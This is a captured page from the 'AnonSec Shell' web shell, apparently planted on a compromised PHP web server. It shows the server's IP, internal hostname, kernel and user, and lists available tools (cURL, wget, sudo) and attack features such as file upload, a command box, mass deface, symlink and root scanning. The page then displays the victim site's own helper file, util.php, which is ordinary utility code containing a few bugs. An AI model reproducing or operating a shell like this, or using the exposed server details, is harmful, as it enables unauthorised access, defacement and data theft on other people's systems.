. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.6.220   [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/app/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/app/helpers/util.php
<?php

class Utils
{
	static function OutputSuccess($data = NULL)
	{
		$ret['error'] = 0;
		$ret['data'] = $data;
		echo json_encode($ret);
	}

	static function OutputError($errorcode=NULL,$message=NULL,$data=NULL)
	{
		$ret['error'] = 1;
		if ($errorcode)
			$ret['code'] = $errorcode;
		if ($message)
			$ret['message'] = $message;
		if ($data)
			$ret['data'] = $data;
		echo json_encode($ret);
		die();
	}

	static function Web2Db($input,$fieldlist)
	{
		$ret = array();
		foreach ($fieldlist as $webfield => $dbfield)
			if (isset($input[$webfield])) $ret[$dbfield] = $_GET[$webfield];
		return $ret;
	}

	// Validates required fields and returns a uniformified array
	// input: $_POST or $_GET input
	// params: array(fieldname => required)
	static function ValidateParams($input,$params,$quiet=false)
	{
		$ret = array();
		foreach ($params as $param => $req)
		{
			$val = isset($input[$param])?$input[$param]:NULL;
			if ($req && is_null($val))
				if ($quiet) return $param;  // return the missing param as an error
				else OutputError(1,'Missing Parameters',$param);    // Output an error and die
			$ret[$param] = $val;
		}
		return $ret;
	}

	static function JsBool($str)
	{
		if (is_string($str))
			return $str != "false";
		else
			return (bool)$str;
	}

	static function SafeUploadFile($filename,$upfilename=NULL)
	{
		if (!$upfilename) $upfilename = $filename;
		header("Content-Type: application/octet-stream");
		header("Content-Transfer-Encoding: binary");
		header('Content-Disposition: attachment; filename="'.$upfilename.'"');
		header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
		header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
		header("Content-Length: ".filesize($filename));
		readfile($filename);
	}

	static function ToHtmlArray(&$a,$charset='ISO-8859-1')
	{
		function CallHtmlEntities(&$value,$key,$charset)
		{
			if (is_string($value))
				$value = htmlentities($value,ENT_COMPAT,$charset);
		}
		
		array_walk_recursive($a,'CallHtmlEntities',$charset);
	}

	static function ArrayRedefineKey($a,$key)
	{
		$newarray = array();
		foreach ($a as $entry)
			$newentry[$entry[$key]] = $entry;
		return $newarray;        
	}

	static function ArrayRedefineKeys($a,$keys)
	{
		if (!is_array($a)) return $a;
		if (!is_array($keys)) $keys = array($keys);
		$newarray = array();
		foreach ($a as $entry)
		{
			reset($newarray);
			$cur =& $newarray;
			
			foreach ($keys as $key)
			{
				$keyname = (string)$entry[$key];
				if (!isset($cur[$keyname]))
					$cur[$keyname] = array();
				$cur =& $cur[$keyname];
			}
			$cur = $entry;
		}
		return $newarray;
	}

	static function IsPositiveInt($val)
	{
		return (is_numeric($val)&&((int)$val==$val)&&($val>=0));
	}

	static function ArrayMean($a)
	{
		$n = count($a);
		return $n?(array_sum($a)/$n):null;
	}

	static function ArrayRemoveNulls($a)
	{
		function NotNull($val) {return !is_null($val);}
		return array_filter($a,"NotNull");
	}

	static function CreateTempFile($extension=NULL,$maxretries=10)
	{
		$prefix = '';
		$attempt = 0;

		$tempfile = tempnam(sys_get_temp_dir(),'tmp');
		while (!rename($tempfile,$prefix.$tempfile.".$extension"))
		{
			$prefix = rand(0,999999);
			$attempt++;
			if ($attempt > $maxretries)
				return $tempfile;   // Abandon renaming, return new file.
		}
		return $prefix.$tempfile.".$extension";
	}
    
    static function ResizeImageProportional($infilename, $outpng, $reqwidth, $reqheight)
    {
        $imSize = getImageSize($infilename);
        $setwidth = $ow = 0;
        $setheight = $oh = 0;
        if ($imSize && is_array($imSize))
        {
            $setwidth = $ow = $imSize[0];
            $setheight = $oh = $imSize[1];
        }
        if (!$ow || !$oh) return false;
        
        $ratioxy = $ow/$oh;
        if ($ratioxy == 0.0) return false;
        
        // Proportionnaly resize sides;
        $newx = $reqheight*$ratioxy;
        $newy = $reqwidth/$ratioxy;
        
        if ($newx >= $reqwidth)
        {
            $setheight = $reqheight;
            $setwidth = $newx;
        }
        else
        {
            $setheight = $newy;
            $setwidth = $reqwidth; 
        }
        
        $image = imagecreatefromstring(file_get_contents($infilename));
        $newimage=imagecreatetruecolor($setwidth, $setheight);
        imagecopyresampled($newimage, $image, 0,0,0,0, $setwidth, $setheight, $ow, $oh);
        imagedestroy($image);
        $ret = imagepng($newimage,$outpng);
        imagedestroy($newimage);
        return $ret;
    }
    
    // bias: use 'video' or 'audio'
    static function FindMimeTypeByExt($filename, $typebias='video')
    {
        $ext = strtolower(pathinfo($filename,PATHINFO_EXTENSION));
        $mimetype = '';
        
        switch ($ext)
        {
            default:
            case 'm4a':
            case 'm4v':
            case 'mpg':
            case 'mp4':
            $mimetype = "$typebias/mp4";
            break;
            
            case 'ogg':
            case 'ogm':
            case 'ogv':
            case 'oga':
            $mimetype = "$typebias/ogg";
            break;

            case 'webm':
            $mimetype = "$typebias/webm";
            break;
            
            case 'aac':
            $mimetype = 'audio/aac';
            break;
            
            case 'mp3':
            case 'mpg':
            case 'mpeg':
            $mimetype = 'audio/mpeg';
            break;
            
            case 'wav':
            $mimetype = 'audio/wav';
            break;
            
            case 'swf':
            case 'flv':
            $mimetype = 'application/x-shockwave-flash';
            break;
        }
        return $mimetype;
    }
    
    static function RemoveDoubleSlashes($path)
    {
        return preg_replace('/(\/+)/','/',$path);
    }
}
?>

Anon7 - 2022
AnonSec Team